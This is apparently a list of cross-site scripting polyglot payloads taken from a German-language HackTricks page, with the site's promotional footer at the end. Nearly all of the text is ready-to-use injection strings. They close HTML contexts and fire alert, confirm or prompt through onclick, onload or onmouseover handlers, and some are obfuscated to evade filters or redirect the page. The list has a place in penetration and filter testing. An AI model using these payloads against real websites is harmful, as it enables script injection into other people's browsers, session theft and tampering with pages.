javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*
javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a
javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/
javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/*
javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/*
javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()//
javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/*
--></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/*
/</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/*
javascript://--></title></style></textarea></script><svg "//' onclick=alert()//
/</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/*
-->'"/></sCript><svG x=">" onload=(co\u006efirm)``>
<svg%0Ao%00nload=%09((pro\u006dpt))()//
javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/*<html/*/onmouseover=alert()//>
javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>--><svg onload=/*<html/*/onmouseover=alert()//>
javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/*--><html */ onmouseover=alert()//'>`
%0ajavascript:`/*\"/*--><svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert(test)//'">`
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+document.location=`//localhost/mH`//'>
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=document.location=`//localhost/mH`//>
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories senden.